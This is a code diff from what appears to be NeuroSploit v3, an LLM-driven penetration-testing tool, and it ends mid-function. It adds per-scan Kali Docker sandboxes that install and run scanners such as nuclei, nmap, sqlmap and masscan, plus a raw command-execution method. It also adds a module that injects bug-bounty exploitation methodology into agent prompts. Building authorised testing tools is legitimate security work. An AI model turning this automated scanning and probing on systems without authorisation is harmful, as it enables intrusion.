container_ttl_minutes=kali_cfg.get("container_ttl_minutes", 60),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.warning(f"Could not load pool config, using defaults: {e}")
|
||||
return cls()
|
||||
|
||||
async def get_or_create(self, scan_id: str) -> KaliSandbox:
|
||||
"""Get existing sandbox for scan_id, or create a new one.
|
||||
|
||||
Raises RuntimeError if max_concurrent limit reached.
|
||||
"""
|
||||
async with self._lock:
|
||||
# Return existing
|
||||
if scan_id in self._sandboxes:
|
||||
sb = self._sandboxes[scan_id]
|
||||
if sb.is_available:
|
||||
return sb
|
||||
else:
|
||||
del self._sandboxes[scan_id]
|
||||
|
||||
# Check limit
|
||||
active = sum(1 for sb in self._sandboxes.values() if sb.is_available)
|
||||
if active >= self.max_concurrent:
|
||||
raise RuntimeError(
|
||||
f"Max concurrent containers ({self.max_concurrent}) reached. "
|
||||
f"Active scans: {list(self._sandboxes.keys())}"
|
||||
)
|
||||
|
||||
# Create new
|
||||
sb = KaliSandbox(
|
||||
scan_id=scan_id,
|
||||
image=self.image,
|
||||
memory_limit=self.memory_limit,
|
||||
cpu_limit=self.cpu_limit,
|
||||
)
|
||||
ok, msg = await sb.initialize()
|
||||
if not ok:
|
||||
raise RuntimeError(f"Failed to create Kali sandbox: {msg}")
|
||||
|
||||
self._sandboxes[scan_id] = sb
|
||||
logger.info(
|
||||
f"Pool: created container for scan {scan_id} "
|
||||
f"({active + 1}/{self.max_concurrent} active)"
|
||||
)
|
||||
return sb
|
||||
|
||||
async def destroy(self, scan_id: str):
|
||||
"""Stop and remove the container for a specific scan."""
|
||||
async with self._lock:
|
||||
sb = self._sandboxes.pop(scan_id, None)
|
||||
if sb:
|
||||
await sb.stop()
|
||||
logger.info(f"Pool: destroyed container for scan {scan_id}")
|
||||
|
||||
async def cleanup_all(self):
|
||||
"""Destroy all managed containers (shutdown hook)."""
|
||||
async with self._lock:
|
||||
scan_ids = list(self._sandboxes.keys())
|
||||
for sid in scan_ids:
|
||||
await self.destroy(sid)
|
||||
logger.info("Pool: all containers destroyed")
|
||||
|
||||
async def cleanup_orphans(self):
|
||||
"""Find and remove neurosploit-* containers not tracked by this pool."""
|
||||
if not HAS_DOCKER:
|
||||
return
|
||||
|
||||
try:
|
||||
client = docker.from_env()
|
||||
containers = client.containers.list(
|
||||
all=True,
|
||||
filters={"label": "neurosploit.type=kali-sandbox"},
|
||||
)
|
||||
async with self._lock:
|
||||
tracked = set(self._sandboxes.keys())
|
||||
|
||||
removed = 0
|
||||
for c in containers:
|
||||
scan_id = c.labels.get("neurosploit.scan_id", "")
|
||||
if scan_id not in tracked:
|
||||
try:
|
||||
c.stop(timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
c.remove(force=True)
|
||||
removed += 1
|
||||
logger.info(f"Pool: removed orphan container {c.name}")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if removed:
|
||||
logger.info(f"Pool: cleaned up {removed} orphan containers")
|
||||
except Exception as e:
|
||||
logger.warning(f"Pool: orphan cleanup failed: {e}")
|
||||
|
||||
async def cleanup_expired(self):
|
||||
"""Remove containers that have exceeded their TTL."""
|
||||
now = datetime.utcnow()
|
||||
async with self._lock:
|
||||
expired = [
|
||||
sid for sid, sb in self._sandboxes.items()
|
||||
if sb._created_at and (now - sb._created_at) > self.container_ttl
|
||||
]
|
||||
for sid in expired:
|
||||
logger.warning(f"Pool: container for scan {sid} exceeded TTL, destroying")
|
||||
await self.destroy(sid)
|
||||
|
||||
def list_sandboxes(self) -> Dict[str, Dict]:
|
||||
"""List all tracked sandboxes with status."""
|
||||
result = {}
|
||||
for sid, sb in self._sandboxes.items():
|
||||
result[sid] = {
|
||||
"scan_id": sid,
|
||||
"container_name": sb.container_name,
|
||||
"available": sb.is_available,
|
||||
"installed_tools": sorted(sb._installed_tools),
|
||||
"created_at": sb._created_at.isoformat() if sb._created_at else None,
|
||||
}
|
||||
return result
|
||||
|
||||
@property
|
||||
def active_count(self) -> int:
|
||||
return sum(1 for sb in self._sandboxes.values() if sb.is_available)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Global singleton pool
|
||||
# ---------------------------------------------------------------------------
|
||||
_pool: Optional[ContainerPool] = None
|
||||
_pool_lock = threading.Lock()
|
||||
|
||||
|
||||
def get_pool() -> ContainerPool:
|
||||
"""Get or create the global container pool."""
|
||||
global _pool
|
||||
if _pool is None:
|
||||
with _pool_lock:
|
||||
if _pool is None:
|
||||
_pool = ContainerPool.from_config()
|
||||
return _pool
|
||||
@@ -0,0 +1,392 @@
|
||||
"""
|
||||
NeuroSploit v3 - Kali Linux Per-Scan Sandbox
|
||||
|
||||
Each scan gets its own Docker container based on kalilinux/kali-rolling.
|
||||
Tools installed on-demand the first time they are requested.
|
||||
Container destroyed when scan completes.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import shlex
|
||||
import time
|
||||
from datetime import datetime
|
||||
from typing import Dict, Any, Optional, List, Tuple, Set
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
try:
|
||||
import docker
|
||||
from docker.errors import DockerException, NotFound, APIError
|
||||
HAS_DOCKER = True
|
||||
except ImportError:
|
||||
HAS_DOCKER = False
|
||||
|
||||
from core.sandbox_manager import (
|
||||
BaseSandbox, SandboxResult,
|
||||
parse_nuclei_jsonl, parse_naabu_output,
|
||||
)
|
||||
from core.tool_registry import ToolRegistry
|
||||
|
||||
|
||||
class KaliSandbox(BaseSandbox):
|
||||
"""Per-scan Docker container based on Kali Linux.
|
||||
|
||||
Lifecycle: create -> install tools on demand -> execute -> destroy.
|
||||
Each instance owns exactly one container named 'neurosploit-{scan_id}'.
|
||||
"""
|
||||
|
||||
DEFAULT_TIMEOUT = 300
|
||||
MAX_OUTPUT = 2 * 1024 * 1024 # 2MB
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
scan_id: str,
|
||||
image: str = "neurosploit-kali:latest",
|
||||
memory_limit: str = "2g",
|
||||
cpu_limit: float = 2.0,
|
||||
network_mode: str = "bridge",
|
||||
):
|
||||
self.scan_id = scan_id
|
||||
self.container_name = f"neurosploit-{scan_id}"
|
||||
self.image = image
|
||||
self.memory_limit = memory_limit
|
||||
self.cpu_limit = cpu_limit
|
||||
self.network_mode = network_mode
|
||||
|
||||
self._client = None
|
||||
self._container = None
|
||||
self._available = False
|
||||
self._installed_tools: Set[str] = set()
|
||||
self._tool_registry = ToolRegistry()
|
||||
self._created_at: Optional[datetime] = None
|
||||
|
||||
async def initialize(self) -> Tuple[bool, str]:
|
||||
"""Create and start a new Kali container for this scan."""
|
||||
if not HAS_DOCKER:
|
||||
return False, "Docker SDK not installed"
|
||||
|
||||
try:
|
||||
self._client = docker.from_env()
|
||||
self._client.ping()
|
||||
except Exception as e:
|
||||
return False, f"Docker not available: {e}"
|
||||
|
||||
# Check if container already exists (resume after crash)
|
||||
try:
|
||||
existing = self._client.containers.get(self.container_name)
|
||||
if existing.status == "running":
|
||||
self._container = existing
|
||||
self._available = True
|
||||
self._created_at = datetime.utcnow()
|
||||
return True, f"Resumed existing container {self.container_name}"
|
||||
else:
|
||||
existing.remove(force=True)
|
||||
except NotFound:
|
||||
pass
|
||||
|
||||
# Check image exists
|
||||
try:
|
||||
self._client.images.get(self.image)
|
||||
except NotFound:
|
||||
return False, (
|
||||
f"Kali sandbox image '{self.image}' not found. "
|
||||
"Build with: docker build -f docker/Dockerfile.kali -t neurosploit-kali:latest docker/"
|
||||
)
|
||||
|
||||
# Create container
|
||||
try:
|
||||
cpu_quota = int(self.cpu_limit * 100000)
|
||||
self._container = self._client.containers.run(
|
||||
self.image,
|
||||
command="sleep infinity",
|
||||
name=self.container_name,
|
||||
detach=True,
|
||||
network_mode=self.network_mode,
|
||||
mem_limit=self.memory_limit,
|
||||
cpu_period=100000,
|
||||
cpu_quota=cpu_quota,
|
||||
cap_add=["NET_RAW", "NET_ADMIN"],
|
||||
security_opt=["no-new-privileges:true"],
|
||||
labels={
|
||||
"neurosploit.scan_id": self.scan_id,
|
||||
"neurosploit.type": "kali-sandbox",
|
||||
},
|
||||
)
|
||||
self._available = True
|
||||
self._created_at = datetime.utcnow()
|
||||
logger.info(f"Created Kali container {self.container_name} for scan {self.scan_id}")
|
||||
return True, f"Container {self.container_name} started"
|
||||
except Exception as e:
|
||||
return False, f"Failed to create container: {e}"
|
||||
|
||||
@property
|
||||
def is_available(self) -> bool:
|
||||
return self._available and self._container is not None
|
||||
|
||||
async def stop(self):
|
||||
"""Stop and remove this scan's container."""
|
||||
if self._container:
|
||||
try:
|
||||
self._container.stop(timeout=10)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
self._container.remove(force=True)
|
||||
logger.info(f"Destroyed container {self.container_name}")
|
||||
except Exception as e:
|
||||
logger.warning(f"Error removing {self.container_name}: {e}")
|
||||
self._container = None
|
||||
self._available = False
|
||||
|
||||
async def health_check(self) -> Dict:
|
||||
"""Run health check on this container."""
|
||||
if not self.is_available:
|
||||
return {"status": "unavailable", "scan_id": self.scan_id, "tools": []}
|
||||
|
||||
result = await self._exec(
|
||||
"nuclei -version 2>&1; naabu -version 2>&1; nmap --version 2>&1 | head -1",
|
||||
timeout=15,
|
||||
)
|
||||
tools = []
|
||||
output = (result.stdout or "").lower()
|
||||
for tool in ["nuclei", "naabu", "nmap"]:
|
||||
if tool in output:
|
||||
tools.append(tool)
|
||||
|
||||
uptime = 0.0
|
||||
if self._created_at:
|
||||
uptime = (datetime.utcnow() - self._created_at).total_seconds()
|
||||
|
||||
return {
|
||||
"status": "healthy" if tools else "degraded",
|
||||
"scan_id": self.scan_id,
|
||||
"container": self.container_name,
|
||||
"tools": tools,
|
||||
"installed_tools": sorted(self._installed_tools),
|
||||
"uptime_seconds": uptime,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Low-level execution
|
||||
# ------------------------------------------------------------------
|
||||
async def _exec(self, command: str, timeout: int = DEFAULT_TIMEOUT) -> SandboxResult:
|
||||
"""Execute command inside this container via docker exec."""
|
||||
if not self.is_available:
|
||||
return SandboxResult(
|
||||
tool="kali", command=command, exit_code=-1,
|
||||
stdout="", stderr="", duration_seconds=0,
|
||||
error="Container not available",
|
||||
)
|
||||
|
||||
started = time.time()
|
||||
try:
|
||||
exec_result = await asyncio.get_event_loop().run_in_executor(
|
||||
None,
|
||||
lambda: self._container.exec_run(
|
||||
cmd=["bash", "-c", command],
|
||||
stdout=True, stderr=True, demux=True,
|
||||
),
|
||||
)
|
||||
|
||||
duration = time.time() - started
|
||||
stdout_raw, stderr_raw = exec_result.output
|
||||
stdout = (stdout_raw or b"").decode("utf-8", errors="replace")
|
||||
stderr = (stderr_raw or b"").decode("utf-8", errors="replace")
|
||||
|
||||
if len(stdout) > self.MAX_OUTPUT:
|
||||
stdout = stdout[: self.MAX_OUTPUT] + "\n... [truncated]"
|
||||
if len(stderr) > self.MAX_OUTPUT:
|
||||
stderr = stderr[: self.MAX_OUTPUT] + "\n... [truncated]"
|
||||
|
||||
return SandboxResult(
|
||||
tool="kali", command=command,
|
||||
exit_code=exec_result.exit_code,
|
||||
stdout=stdout, stderr=stderr,
|
||||
duration_seconds=round(duration, 2),
|
||||
)
|
||||
except Exception as e:
|
||||
duration = time.time() - started
|
||||
return SandboxResult(
|
||||
tool="kali", command=command, exit_code=-1,
|
||||
stdout="", stderr="", duration_seconds=round(duration, 2),
|
||||
error=str(e),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# On-demand tool installation
|
||||
# ------------------------------------------------------------------
|
||||
async def _ensure_tool(self, tool: str) -> bool:
|
||||
"""Ensure a tool is installed in this container. Returns True if available."""
|
||||
if tool in self._installed_tools:
|
||||
return True
|
||||
|
||||
# Check if already present in the base image
|
||||
check = await self._exec(f"which {shlex.quote(tool)} 2>/dev/null", timeout=10)
|
||||
if check.exit_code == 0 and check.stdout.strip():
|
||||
self._installed_tools.add(tool)
|
||||
return True
|
||||
|
||||
# Get install recipe from registry
|
||||
recipe = self._tool_registry.get_install_command(tool)
|
||||
if not recipe:
|
||||
logger.warning(f"No install recipe for '{tool}' in Kali container")
|
||||
return False
|
||||
|
||||
logger.info(f"[{self.container_name}] Installing {tool}...")
|
||||
result = await self._exec(recipe, timeout=300)
|
||||
if result.exit_code == 0:
|
||||
self._installed_tools.add(tool)
|
||||
logger.info(f"[{self.container_name}] Installed {tool} successfully")
|
||||
return True
|
||||
else:
|
||||
logger.warning(
|
||||
f"[{self.container_name}] Failed to install {tool}: "
|
||||
f"{(result.stderr or result.stdout or '')[:300]}"
|
||||
)
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# High-level tool APIs (same signatures as SandboxManager)
|
||||
# ------------------------------------------------------------------
|
||||
async def run_nuclei(
|
||||
self, target, templates=None, severity=None,
|
||||
tags=None, rate_limit=150, timeout=600,
|
||||
) -> SandboxResult:
|
||||
await self._ensure_tool("nuclei")
|
||||
cmd_parts = [
|
||||
"nuclei", "-u", shlex.quote(target),
|
||||
"-jsonl", "-rate-limit", str(rate_limit),
|
||||
"-silent", "-no-color",
|
||||
]
|
||||
if templates:
|
||||
cmd_parts.extend(["-t", shlex.quote(templates)])
|
||||
if severity:
|
||||
cmd_parts.extend(["-severity", shlex.quote(severity)])
|
||||
if tags:
|
||||
cmd_parts.extend(["-tags", shlex.quote(tags)])
|
||||
|
||||
result = await self._exec(" ".join(cmd_parts) + " 2>/dev/null", timeout=timeout)
|
||||
result.tool = "nuclei"
|
||||
if result.stdout:
|
||||
result.findings = parse_nuclei_jsonl(result.stdout)
|
||||
return result
|
||||
|
||||
async def run_naabu(
|
||||
self, target, ports=None, top_ports=None,
|
||||
scan_type="s", rate=1000, timeout=300,
|
||||
) -> SandboxResult:
|
||||
await self._ensure_tool("naabu")
|
||||
cmd_parts = [
|
||||
"naabu", "-host", shlex.quote(target),
|
||||
"-json", "-rate", str(rate), "-silent", "-no-color",
|
||||
]
|
||||
if ports:
|
||||
cmd_parts.extend(["-p", shlex.quote(str(ports))])
|
||||
elif top_ports:
|
||||
cmd_parts.extend(["-top-ports", str(top_ports)])
|
||||
else:
|
||||
cmd_parts.extend(["-top-ports", "1000"])
|
||||
if scan_type:
|
||||
cmd_parts.extend(["-scan-type", scan_type])
|
||||
|
||||
result = await self._exec(" ".join(cmd_parts) + " 2>/dev/null", timeout=timeout)
|
||||
result.tool = "naabu"
|
||||
if result.stdout:
|
||||
result.findings = parse_naabu_output(result.stdout)
|
||||
return result
|
||||
|
||||
async def run_httpx(self, targets, timeout=120) -> SandboxResult:
|
||||
await self._ensure_tool("httpx")
|
||||
if isinstance(targets, str):
|
||||
targets = [targets]
|
||||
target_str = "\\n".join(shlex.quote(t) for t in targets)
|
||||
command = (
|
||||
f'echo -e "{target_str}" | httpx -silent -json '
|
||||
f'-title -tech-detect -status-code -content-length '
|
||||
f'-follow-redirects -no-color 2>/dev/null'
|
||||
)
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = "httpx"
|
||||
if result.stdout:
|
||||
findings = []
|
||||
for line in result.stdout.strip().split("\\n"):
|
||||
try:
|
||||
data = json.loads(line)
|
||||
findings.append({
|
||||
"url": data.get("url", ""),
|
||||
"status_code": data.get("status_code", 0),
|
||||
"title": data.get("title", ""),
|
||||
"technologies": data.get("tech", []),
|
||||
"content_length": data.get("content_length", 0),
|
||||
"webserver": data.get("webserver", ""),
|
||||
})
|
||||
except (json.JSONDecodeError, ValueError):
|
||||
continue
|
||||
result.findings = findings
|
||||
return result
|
||||
|
||||
async def run_subfinder(self, domain, timeout=120) -> SandboxResult:
|
||||
await self._ensure_tool("subfinder")
|
||||
command = f"subfinder -d {shlex.quote(domain)} -silent -no-color 2>/dev/null"
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = "subfinder"
|
||||
if result.stdout:
|
||||
subs = [s.strip() for s in result.stdout.strip().split("\\n") if s.strip()]
|
||||
result.findings = [{"subdomain": s} for s in subs]
|
||||
return result
|
||||
|
||||
async def run_nmap(self, target, ports=None, scripts=True, timeout=300) -> SandboxResult:
|
||||
await self._ensure_tool("nmap")
|
||||
cmd_parts = ["nmap", "-sV"]
|
||||
if scripts:
|
||||
cmd_parts.append("-sC")
|
||||
if ports:
|
||||
cmd_parts.extend(["-p", shlex.quote(str(ports))])
|
||||
cmd_parts.extend(["-oN", "/dev/stdout", shlex.quote(target)])
|
||||
result = await self._exec(" ".join(cmd_parts) + " 2>/dev/null", timeout=timeout)
|
||||
result.tool = "nmap"
|
||||
return result
|
||||
|
||||
async def run_tool(self, tool, args, timeout=300) -> SandboxResult:
|
||||
"""Run any tool (validates whitelist, installs on demand)."""
|
||||
# Load whitelist from config
|
||||
allowed_tools = set()
|
||||
try:
|
||||
with open("config/config.json") as f:
|
||||
cfg = json.load(f)
|
||||
allowed_tools = set(cfg.get("sandbox", {}).get("tools", []))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not allowed_tools:
|
||||
allowed_tools = {
|
||||
"nuclei", "naabu", "nmap", "httpx", "subfinder", "katana",
|
||||
"dnsx", "ffuf", "gobuster", "dalfox", "nikto", "sqlmap",
|
||||
"whatweb", "curl", "dig", "whois", "masscan", "dirsearch",
|
||||
"wfuzz", "arjun", "wafw00f", "waybackurls",
|
||||
}
|
||||
|
||||
if tool not in allowed_tools:
|
||||
return SandboxResult(
|
||||
tool=tool, command=f"{tool} {args}", exit_code=-1,
|
||||
stdout="", stderr="", duration_seconds=0,
|
||||
error=f"Tool '{tool}' not in allowed list",
|
||||
)
|
||||
|
||||
if not await self._ensure_tool(tool):
|
||||
return SandboxResult(
|
||||
tool=tool, command=f"{tool} {args}", exit_code=-1,
|
||||
stdout="", stderr="", duration_seconds=0,
|
||||
error=f"Could not install '{tool}' in Kali container",
|
||||
)
|
||||
|
||||
result = await self._exec(f"{shlex.quote(tool)} {args} 2>&1", timeout=timeout)
|
||||
result.tool = tool
|
||||
return result
|
||||
|
||||
async def execute_raw(self, command, timeout=300) -> SandboxResult:
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = "raw"
|
||||
return result
|
||||
@@ -0,0 +1,199 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Knowledge Augmentor - Adversarial pattern recognition from bug bounty data.
|
||||
|
||||
Loads the bug bounty finetuning dataset and provides retrieval-based
|
||||
context enrichment for agent prompts. This is for PATTERN RECOGNITION
|
||||
and adversarial intuition -- NOT for replaying exploits.
|
||||
|
||||
The augmentor:
|
||||
- Builds a keyword index by vulnerability type
|
||||
- Retrieves relevant patterns matching current testing context
|
||||
- Injects formatted reference material into agent prompts
|
||||
- Explicitly instructs the model to adapt, not copy
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
from typing import Dict, List, Optional
|
||||
from pathlib import Path
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class KnowledgeAugmentor:
|
||||
"""Retrieval-based knowledge augmentation from bug bounty dataset."""
|
||||
|
||||
# Vulnerability type keyword mappings
|
||||
VULN_KEYWORDS = {
|
||||
'xss': ['xss', 'cross-site scripting', 'reflected xss', 'stored xss', 'dom xss',
|
||||
'script injection', 'html injection'],
|
||||
'sqli': ['sql injection', 'sqli', 'union select', 'blind sql', 'error-based sql',
|
||||
'time-based sql', 'second-order sql'],
|
||||
'ssrf': ['ssrf', 'server-side request forgery', 'internal service'],
|
||||
'idor': ['idor', 'insecure direct object', 'broken object level',
|
||||
'bola', 'horizontal privilege'],
|
||||
'rce': ['rce', 'remote code execution', 'command injection', 'os command',
|
||||
'code execution', 'shell injection'],
|
||||
'lfi': ['lfi', 'local file inclusion', 'path traversal', 'directory traversal',
|
||||
'file read', 'file disclosure'],
|
||||
'auth_bypass': ['authentication bypass', 'broken authentication', 'auth bypass',
|
||||
'session fixation', 'jwt', 'token manipulation'],
|
||||
'csrf': ['csrf', 'cross-site request forgery', 'state-changing'],
|
||||
'open_redirect': ['open redirect', 'url redirect', 'redirect vulnerability'],
|
||||
'xxe': ['xxe', 'xml external entity', 'xml injection'],
|
||||
'ssti': ['ssti', 'server-side template injection', 'template injection'],
|
||||
'race_condition': ['race condition', 'toctou', 'concurrency'],
|
||||
'graphql': ['graphql', 'introspection', 'batching attack'],
|
||||
'api': ['api', 'rest api', 'broken api', 'api key', 'rate limiting'],
|
||||
'deserialization': ['deserialization', 'insecure deserialization', 'pickle',
|
||||
'object injection'],
|
||||
'upload': ['file upload', 'unrestricted upload', 'web shell', 'upload bypass'],
|
||||
'cors': ['cors', 'cross-origin', 'origin validation'],
|
||||
'subdomain_takeover': ['subdomain takeover', 'dangling dns', 'cname'],
|
||||
'information_disclosure': ['information disclosure', 'sensitive data', 'data exposure',
|
||||
'directory listing', 'source code disclosure'],
|
||||
}
|
||||
|
||||
def __init__(self, dataset_path: str = "models/bug-bounty/bugbounty_finetuning_dataset.json",
|
||||
max_patterns: int = 3):
|
||||
self.dataset_path = Path(dataset_path)
|
||||
self.max_patterns = max_patterns
|
||||
self.entries: List[Dict] = []
|
||||
self.index: Dict[str, List[int]] = {} # vuln_type -> list of entry indices
|
||||
self._loaded = False
|
||||
|
||||
def _ensure_loaded(self):
|
||||
"""Lazy load and index the dataset on first use."""
|
||||
if self._loaded:
|
||||
return
|
||||
|
||||
if not self.dataset_path.exists():
|
||||
logger.warning(f"Bug bounty dataset not found: {self.dataset_path}")
|
||||
self._loaded = True
|
||||
return
|
||||
|
||||
try:
|
||||
with open(self.dataset_path, 'r', encoding='utf-8') as f:
|
||||
self.entries = json.load(f)
|
||||
logger.info(f"Loaded {len(self.entries)} entries from bug bounty dataset")
|
||||
self._build_index()
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to load bug bounty dataset: {e}")
|
||||
|
||||
self._loaded = True
|
||||
|
||||
def _build_index(self):
|
||||
"""Build keyword index over the dataset entries."""
|
||||
for i, entry in enumerate(self.entries):
|
||||
text = (
|
||||
entry.get('instruction', '') + ' ' +
|
||||
entry.get('input', '') + ' ' +
|
||||
entry.get('output', '')
|
||||
).lower()
|
||||
|
||||
for vuln_type, keywords in self.VULN_KEYWORDS.items():
|
||||
for kw in keywords:
|
||||
if kw in text:
|
||||
self.index.setdefault(vuln_type, []).append(i)
|
||||
break # One match per vuln_type per entry
|
||||
|
||||
indexed_types = {k: len(v) for k, v in self.index.items()}
|
||||
logger.info(f"Knowledge index built: {indexed_types}")
|
||||
|
||||
def get_relevant_patterns(self, vulnerability_type: str,
|
||||
technologies: Optional[List[str]] = None,
|
||||
max_entries: Optional[int] = None) -> str:
|
||||
"""Retrieve relevant bug bounty patterns for context enrichment.
|
||||
|
||||
Args:
|
||||
vulnerability_type: Type of vulnerability being tested (e.g., 'xss', 'sqli')
|
||||
technologies: Optional list of detected technologies for relevance boosting
|
||||
max_entries: Override default max patterns count
|
||||
|
||||
Returns:
|
||||
Formatted string for injection into LLM prompts as cognitive augmentation.
|
||||
Returns empty string if no relevant patterns found.
|
||||
"""
|
||||
self._ensure_loaded()
|
||||
|
||||
limit = max_entries or self.max_patterns
|
||||
vuln_key = vulnerability_type.lower().replace(' ', '_').replace('-', '_')
|
||||
|
||||
# Try exact match first, then partial
|
||||
candidates = self.index.get(vuln_key, [])
|
||||
if not candidates:
|
||||
# Try partial matching
|
||||
for key, indices in self.index.items():
|
||||
if vuln_key in key or key in vuln_key:
|
||||
candidates = indices
|
||||
break
|
||||
|
||||
if not candidates:
|
||||
return ""
|
||||
|
||||
# Deduplicate
|
||||
candidates = list(dict.fromkeys(candidates))
|
||||
|
||||
# Score by technology relevance if technologies provided
|
||||
if technologies:
|
||||
scored = []
|
||||
for idx in candidates:
|
||||
entry = self.entries[idx]
|
||||
text = (entry.get('output', '') + ' ' + entry.get('instruction', '')).lower()
|
||||
tech_score = sum(1 for t in technologies if t.lower() in text)
|
||||
scored.append((tech_score, idx))
|
||||
scored.sort(key=lambda x: x[0], reverse=True)
|
||||
candidates = [idx for _, idx in scored]
|
||||
|
||||
selected = candidates[:limit]
|
||||
|
||||
# Build augmentation context
|
||||
augmentation = (
|
||||
"\n\n=== ADVERSARIAL PATTERN CONTEXT (Bug Bounty Knowledge) ===\n"
|
||||
"These are REFERENCE PATTERNS for understanding attack vectors and methodology.\n"
|
||||
"ADAPT the approach to the current target. Do NOT replay exact exploits.\n"
|
||||
"Use these as cognitive anchors for creative hypothesis generation.\n\n"
|
||||
)
|
||||
|
||||
for i, idx in enumerate(selected, 1):
|
||||
entry = self.entries[idx]
|
||||
instruction = entry.get('instruction', '')[:300]
|
||||
output = entry.get('output', '')
|
||||
|
||||
# Extract methodology-relevant sections, truncate for context budget
|
||||
methodology = self._extract_methodology(output, max_chars=1500)
|
||||
|
||||
augmentation += f"--- Pattern {i} ---\n"
|
||||
augmentation += f"Context: {instruction}\n"
|
||||
augmentation += f"Methodology:\n{methodology}\n\n"
|
||||
|
||||
augmentation += "=== END ADVERSARIAL PATTERN CONTEXT ===\n"
|
||||
return augmentation
|
||||
|
||||
def _extract_methodology(self, text: str, max_chars: int = 1500) -> str:
|
||||
"""Extract the most methodology-relevant portion of a writeup."""
|
||||
# Look for methodology/steps/approach sections
|
||||
markers = ['### steps', '### methodology', '### approach', '### exploitation',
|
||||
'## steps', '## methodology', '## approach', '## exploitation',
|
||||
'steps to reproduce', 'reproduction steps', 'proof of concept']
|
||||
|
||||
text_lower = text.lower()
|
||||
for marker in markers:
|
||||
idx = text_lower.find(marker)
|
||||
if idx != -1:
|
||||
return text[idx:idx + max_chars]
|
||||
|
||||
# Fall back to first max_chars of the output
|
||||
return text[:max_chars]
|
||||
|
||||
def get_available_types(self) -> List[str]:
|
||||
"""Return list of vulnerability types that have indexed entries."""
|
||||
self._ensure_loaded()
|
||||
return sorted(self.index.keys())
|
||||
|
||||
def get_entry_count(self, vulnerability_type: str) -> int:
|
||||
"""Return count of indexed entries for a vulnerability type."""
|
||||
self._ensure_loaded()
|
||||
vuln_key = vulnerability_type.lower().replace(' ', '_').replace('-', '_')
|
||||
return len(self.index.get(vuln_key, []))
|
||||
@@ -48,6 +48,20 @@ class LLMManager:
|
||||
self.pdf_support_enabled = self.active_profile.get('pdf_support_enabled', False)
|
||||
self.guardrails_enabled = self.active_profile.get('guardrails_enabled', False)
|
||||
self.hallucination_mitigation_strategy = self.active_profile.get('hallucination_mitigation_strategy', None)
|
||||
|
||||
# MAX_OUTPUT_TOKENS override from environment (up to 64000 for Claude)
|
||||
env_max_tokens = os.getenv('MAX_OUTPUT_TOKENS', '').strip()
|
||||
if env_max_tokens:
|
||||
try:
|
||||
override = int(env_max_tokens)
|
||||
self.max_tokens = override
|
||||
self.output_token_limit = override
|
||||
logger.info(f"MAX_OUTPUT_TOKENS override applied: {override}")
|
||||
except ValueError:
|
||||
logger.warning(f"Invalid MAX_OUTPUT_TOKENS value: {env_max_tokens}")
|
||||
|
||||
# Model router (lazy init, set externally or via config)
|
||||
self._model_router = None
|
||||
|
||||
# New prompt loading
|
||||
self.json_prompts_file_path = Path("prompts/library.json")
|
||||
@@ -147,6 +161,8 @@ class LLMManager:
|
||||
raw_response = self._generate_gemini_cli(prompt, system_prompt)
|
||||
elif self.provider == 'lmstudio':
|
||||
raw_response = self._generate_lmstudio(prompt, system_prompt)
|
||||
elif self.provider == 'openrouter':
|
||||
raw_response = self._generate_openrouter(prompt, system_prompt)
|
||||
else:
|
||||
raise ValueError(f"Unsupported provider: {self.provider}")
|
||||
except Exception as e:
|
||||
@@ -162,6 +178,21 @@ class LLMManager:
|
||||
|
||||
return raw_response
|
||||
|
||||
def routed_generate(self, prompt: str, system_prompt: Optional[str] = None, task_type: str = "default") -> str:
|
||||
"""Generate with optional model routing based on task type.
|
||||
|
||||
If model routing is enabled and a route exists for the task_type,
|
||||
a dedicated LLMManager for that profile handles the request.
|
||||
Otherwise falls back to the default generate().
|
||||
|
||||
Task types: reasoning, analysis, generation, validation, default
|
||||
"""
|
||||
if self._model_router:
|
||||
result = self._model_router.generate(prompt, system_prompt, task_type)
|
||||
if result is not None:
|
||||
return result
|
||||
return self.generate(prompt, system_prompt)
|
||||
|
||||
def _apply_guardrails(self, response: str) -> str:
|
||||
"""Applies basic guardrails to the LLM response."""
|
||||
if not self.guardrails_enabled:
|
||||
@@ -614,6 +645,77 @@ Identify any potential hallucinations, inconsistencies, or areas where the respo
|
||||
logger.error(f"LM Studio error: {e}")
|
||||
return f"Error: {str(e)}"
|
||||
|
||||
def _generate_openrouter(self, prompt: str, system_prompt: Optional[str] = None) -> str:
|
||||
"""Generate using OpenRouter API (OpenAI-compatible).
|
||||
|
||||
OpenRouter supports hundreds of models through a unified API.
|
||||
Models are specified as provider/model (e.g., 'anthropic/claude-sonnet-4-20250514').
|
||||
API key comes from OPENROUTER_API_KEY env var or config profile.
|
||||
"""
|
||||
if not self.api_key:
|
||||
raise ValueError("OPENROUTER_API_KEY not set. Please set the environment variable or configure in config.json")
|
||||
|
||||
url = "https://openrouter.ai/api/v1/chat/completions"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {self.api_key}",
|
||||
"Content-Type": "application/json",
|
||||
"HTTP-Referer": "https://github.com/neurosploit",
|
||||
"X-Title": "NeuroSploit"
|
||||
}
|
||||
|
||||
messages = []
|
||||
if system_prompt:
|
||||
messages.append({"role": "system", "content": system_prompt})
|
||||
messages.append({"role": "user", "content": prompt})
|
||||
|
||||
data = {
|
||||
"model": self.model,
|
||||
"messages": messages,
|
||||
"temperature": self.temperature,
|
||||
"max_tokens": self.max_tokens
|
||||
}
|
||||
|
||||
last_error = None
|
||||
for attempt in range(MAX_RETRIES):
|
||||
try:
|
||||
